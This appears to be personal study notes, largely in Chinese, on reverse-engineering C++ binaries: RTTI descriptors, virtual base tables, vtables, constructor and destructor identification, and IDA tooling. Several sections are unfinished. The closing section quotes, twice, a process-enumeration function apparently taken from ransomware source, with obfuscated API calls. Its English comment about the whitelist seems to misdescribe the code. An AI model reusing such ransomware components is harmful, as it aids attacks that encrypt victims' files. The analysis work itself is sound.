   Offset	Type	Name	Description
   0x00	DW	signature	Always 0 ？
   0x04	DW	attributes	Bit 0 - multiple inheritance;Bit 1 - virtual inheritance
   0x08	DW	numBaseClasses	number of base classes, Count includes the class itself
   0x0c	DW	pBaseClassArray	Array of RTTIBaseClassDescriptor

   当classG 虚拟继承了classA和classE，那么结构如下。包括ClassG自身，我们可以看到numBaseClasses = 3。attributes = 3 表示它既是多继承又是虚继承，最后一个BaseClassArray指向RTTIBaseClassDescriptor

   

4. RTTIBaseClassDescriptor

这个结构体包含了基类的有关信息。它包括一个指向基类的TypeDescriptor的指针和一个指向基类的RTTIClassHierarchyDescriptor的指针，（VC6.0中可能没有pBaseClassArray）。另外，它还包含有一个PMD结构体，该结构体中记录了该类中的各个基类的位置。RTTIBaseClassDescriptor结构如下。

一个vbtable（Virtual base class table)是由多重虚拟继承生成的。因为在多重继承的情况下，有时候需要upclass。这时候就需要精确定位基类。虚基类表包含了各个基类在派生类中的位置（或者说各个基类的虚函数表在派生类中的位置，因为虚函数表是基于类的起始位置的）。

根据之前所说的ClassG类声明，编译器会生成以下类结构

在如上这种情况下，vbcase存在于位移0x04处，另一方面，vbtable包含派生类内每个基类的位移：

那么我们尝试利用vbtable来确定基类的真实地址。首先可以看到ClassE的偏移是4，然后我们从虚基类表中读取出classE的偏移为16，那么16 +4 = 20，ClassE位于ClassG +0x14 处,也就是下图的0x00418b14地址处。

以下为ClassG中ClassE的BaseClassDescriptor

那么总结如下的关系图

识别类关系

通过构造器识别类关系

构造函数包含初始化对象的代码，例如调用基类的构造函数和设置vftables。因此，分析构造函数可以让我们很好地了解这个类与其他类的关系。

让我们假设我们已经确定这个函数是通过之前所说方法识别的构造函数。现在，我们看到一个函数正在使用当前对象的这个指针调用。这可以是当前类的成员函数，也可以是基类的构造函数。

我们怎么知道是哪一个？事实上，仅仅通过查看生成的代码，就无法完美区分两者。然而，在现实世界的应用中，在此步骤之前，构造函数很有可能被识别在较前的位置，因此我们所要做的就是将这些信息关联起来，以得出更准确的标识。换句话说，如果使用当前对象的此指针在另一个构造函数中调用预先确定为构造函数的函数，它可能是基类的构造函数。

手动识别这一点需要检查对这个函数的其他交叉引用，看看这个函数是否是二进制文件中其他地方调用的构造函数。我们将在本文件后面讨论自动识别方法。

多重继承实际上比单一继承更容易发现。与单个继承示例一样，第一个调用的函数可以是成员函数，也可以是基类构造函数。请注意，在反汇编中，调用第二个函数之前，在此指针中添加4个字节。这表明正在初始化另一个基类。

Here’s the layout for this class to help you visualize. The disassembly above belongs to the constructor of class D. Class D is derived from two other classes, A and C:

通过RTTI识别多态类关系

我们在之前的RTTI中讲到RTTIClassHierarchyDescriptor结构体如下

我们可以通过这个结构体的pBaseClassArray数组来判断非直接基类，如：类A有基类类B，类C，但是类B中存在类C，那么类C就是类A的非直接基类。以下为关系图

而其结构图如下

识别类的成员

识别类成员是一个简单明了的过程，尽管缓慢而乏味。我们可以通过查找相对于此指针的偏移量访问来识别类成员变量：

我们还可以通过查找对相对于此对象虚拟函数表偏移量的指针的间接调用来识别虚拟函数成员：

通过检查此指针是否作为隐藏参数传递给函数调用，可以识别非虚拟成员函数。

为了确保这确实是一个成员函数，我们可以检查被调用的函数是否使用ecx，而无需首先初始化它。让我们看看sub_401110的代码

• 通过指针偏移量来进行成员变量的赋值 mov dword ptr[eax+8], 12345h
• 通过vftable指针来获取虚函数，关键为mov edx, [ecx],获取了虚函数指针指向的地址，然后通过mov eax, [edx+4]获取虚函数指针
• 通过lea ecx,[ebp_var_c]，隐藏传递参数给函数调用，注意此处不是64位二进制文件
  • 同时检查被调用的函数是否使用ecx而无需初始化，也就是直接使用之前隐藏传递进来给函数调用的对象指针

Automation

to be continuing…

STL

STL代码和导入的DLL。确定示例是否为C++二进制文件的另一种方法是目标是否使用STL代码，该代码可以通过导入函数或库签名标识（如IDA的FLIRT）确定：

to be continueing…

reverse c++ binary

• 还原类的构造函数
• 还原类的析构函数
• 还原类的成员函数
• 还原类的虚函数
• 还原类的继承层次
• 判断一个类是否是抽象类

References

• Lesson 6: Introduction to Reversing C++ Binaries
• blackhat Automation Techniques in C++ Reverse Engineering

Ready IDA

• HexRaysPyTools: Extremely useful for quickly creating structures without having to find every offset that might be a field.
• Classy: Makes working with vtables and child classes a lot easier.

other settings

• Make sure to regularly create a snapshot of your database
• Create/open database
• make sure the compiler options are correct
• (Optional)Always show demangled names (Options → Demangled names → Select Names)

theory

class layout in Memory

1
2
3
4
5
6
7
8
9
10
11

// Ususally stored in the data section
struct vtable{
    void (*func1)();
    void (*func2)();
};t

struct class{
    vtable* vtbl;
  	int member1;
  	int member2;
}

decompiler

this patterns means below in decompiler

1
2
3
4

__int64 v1 = operater new(sizeof(class));
*v1 = gvtable; // stored someware in .data
*(v1+4) = 0;
*(v1+8) = 0;

call a vtable function

1

(*(void (*)())(*(_QWORD*)v1 + 8))();

Reconstruct Class

to be continue…

异常处理

to be continue…

符号恢复

to be continue…

https://github.com/push0ebp/sig-database

https://github.com/Maktm/FLIRTDB

https://github.com/maroueneboubakri/lscanDW

intro

C++是一门支持面向对象的语言，为面向对象的软件开发提供了丰富的语言支持。要想高效、正确地使用C++中的继承、多台等语言特性，就必须对这些特性的底层有一定的了解。

其实，C++的对象模型的核心概念并不多，最重要的概念是虚函数。虚函数式程序运行时定义的函数。虚函数的地址不能在编译时确定，只能在调用即将进行时确定。所有对虚函数的饮用通常放在一个专用数组————虚函数表（Virtual Table，VBTL）中，数组的每个元素中存放的就是类中虚函数的地址。调用虚函数时，程序先取出虚函数指针（Virtual Table Pointer，VPTR），得到虚函数表的地址，再根据这个地址到虚函数表中取出该函数的地址，最后调用该函数。

x32 demo code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

class CSum {
public:
	virtual int Add(int a,int b) {
		return (a + b);
	}
	virtual int Sub(int a, int b) {
		return (a - b);
	}
};

void main() {
	CSum* pCSum = new CSum;
	pCSum->Add(1, 2);
	pCSum->Sub(1, 2);
}

首先会使用new函数分配class所需的内存（由IDA识别）。调用成功后保存在eax寄存器中，最后传到ecx。

我们可以看到，v3指向了虚函数表，通过指针进行调用Add和Sub函数。

而且需要注意到，程序以ecx作为this指针的载体传递给虚函数成员函数，并利用两次间接寻址得到虚函数的正确地址从而执行。

虚函数表

x64 demo code

成员函数CVirtual,析构函数CVirtual

虚函数 func1、func2

私有变量 m_nMember1、m_nMember2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

/*--------------------------------------------
《加密与解密（第四版）》
(c)  看雪学院 www.kanxue.com 2000-2018
----------------------------------------------*/

// Example4-1.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"


class CVirtual {
public:
	CVirtual() {
		m_nMember1 = 1;
		m_nMember2 = 2;
		printf("CVirtual()\r\n");
	}
	virtual ~CVirtual() {
		printf("~CVirtual()\r\n");
	}
	virtual void fun1() {
		printf("fun1()\r\n");
	}
	virtual void fun2() {
		printf("fun2()\r\n");
	}
private:
	int m_nMember1;
	int m_nMember2;
};

int main(int argc, char* argv[]) {
	CVirtual object;
	object.fun1();
	object.fun2();
	return 0;
}

for循环用于初始化栈空间为0xCC

函数判断

那么我们如何判断构造函数、析构函数？

main函数在申请了对象实例空间后的第一个函数调用即可猜测为类的构造函数，调用的最后一个函数可以猜测为析构函数

构造函数实现

首先初始化虚表指针，然后初始化数据乘员，构造函数完成，返回this指针。为什么需要返回this指针？c++编译器为了判断一个构造是否被调用而设置的。

如果一个函数在入口处使用lea reg,off_xxxxxxxxx和mov [reg],reg特征初始化虚表，且返回值为this指针，就可以怀疑这个函数是一个构造函数。

析构函数实现

首先初始化栈空间，然后赋值虚表，最后返回this指针。

既然前面两个函数的流程都相同，那么如何判断构造函数和析构函数呢？

————在main函数中的调用顺序

虚表结构

因为这个类有虚函数，所以编译器为这个类产生了一个虚表，其存储在全局数据区（.rdata）.虚表的每一项都是8个字节，其中存储的是成员函数的地址。

这里需要注意：因为虚表的最后一项不一定是以0结尾，所以虚表项的个数会根据其他信息来确定

虚表汇总的函数按类中成员函数声明顺序依次放入。

函数分布顺序在某些情况下不一定与声明顺序相同（例如虚函数重载），不过这个顺序对逆向还原代码没有影响。

在该demo code中虽然只编写了一个析构函数，编译器却生成了两个析构函数。其中一个是普通析构函数，对象出作用域调用；另一个放在虚表里，在delete对象的时候调用。

虚表中的析构函数比普通的析构函数多一个delete this操作。

delete 对象的时候，需要先调用析构函数，再释放对象的堆空间。

object.~CVirtual()属于多态调用，所以会直接调用虚表里的析构函数，这个时候对象被释放。delete object这句代码优惠调用虚表里的析构函数，这样堆空间会重复释放。

那么为了解决这个问题，VC++编译器给析构函数增加了一个参数，pObject->~CVirtual()调用时参数传递0，这样对象就不会被释放。如果delete pObject的时候参数传递1，对象就会被释放。这样就解决了上面那个问题。

gcc则采用了虚表里放两个析构函数的方法解决该问题。

prockiller

prockiller

memorySnapshot

• pCreateToolhelp32Snapshot
• pProcess32FirstW
• pProcess32NextW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

#include "prockiller.h"
#include <TlHelp32.h>
#include <winternl.h>
#include "../api/getapi.h"
#include "../obfuscation/MetaString.h"
#include "../memory.h"

VOID 
process_killer::GetWhiteListProcess(__out PPID_LIST PidList)
{
	HANDLE hSnapShot = pCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapShot == NULL) {
		return;
	}

	PROCESSENTRY32W pe32;
	pe32.dwSize = sizeof(PROCESSENTRY32W);

	if (!pProcess32FirstW(hSnapShot, &pe32)) {

		pCloseHandle(hSnapShot);
		return;

	}

	do
	{

		if (!plstrcmpiW(pe32.szExeFile, OBFW(L"explorer.exe"))) {

			PPID Pid = (PPID)m_malloc(sizeof(PID));
			if (!Pid) {
				break;
			}

			Pid->dwProcessId = pe32.th32ProcessID;
			TAILQ_INSERT_TAIL(PidList, Pid, Entries);

		}

	} while (pProcess32NextW(hSnapShot, &pe32));

	pCloseHandle(hSnapShot);
}

1 2 3 4 5 6 7 8 9 10 11 12 13

typedef struct tagPROCESSENTRY32W { DWORD dwSize; DWORD cntUsage; DWORD th32ProcessID; // this process ULONG_PTR th32DefaultHeapID; DWORD th32ModuleID; // associated exe DWORD cntThreads; DWORD th32ParentProcessID; // this process's parent process LONG pcPriClassBase; // Base priority of process's threads DWORD dwFlags; WCHAR szExeFile[MAX_PATH]; // Path } PROCESSENTRY32W;

szExeFile is the path the exe

Whitelist

add the process that is not explorer.exe to whitelist.So if the file is open, Ransomeware will not encrypt it.

#define TAILQ_INSERT_TAIL(head, elm, field) do {
TAILQ_NEXT((elm), field) = NULL;
(elm)->field.tqe_prev = (head)->tqh_last;
*(head)->tqh_last = (elm);
(head)->tqh_last = &TAILQ_NEXT((elm), field);
} while (0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

#include "prockiller.h"
#include <TlHelp32.h>
#include <winternl.h>
#include "../api/getapi.h"
#include "../obfuscation/MetaString.h"
#include "../memory.h"

VOID 
process_killer::GetWhiteListProcess(__out PPID_LIST PidList)
{
	HANDLE hSnapShot = pCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapShot == NULL) {
		return;
	}

	PROCESSENTRY32W pe32;
	pe32.dwSize = sizeof(PROCESSENTRY32W);

	if (!pProcess32FirstW(hSnapShot, &pe32)) {

		pCloseHandle(hSnapShot);
		return;

	}

	do
	{

		if (!plstrcmpiW(pe32.szExeFile, OBFW(L"explorer.exe"))) {

			PPID Pid = (PPID)m_malloc(sizeof(PID));
			if (!Pid) {
				break;
			}

			Pid->dwProcessId = pe32.th32ProcessID;
			TAILQ_INSERT_TAIL(PidList, Pid, Entries);

		}

	} while (pProcess32NextW(hSnapShot, &pe32));

	pCloseHandle(hSnapShot);
}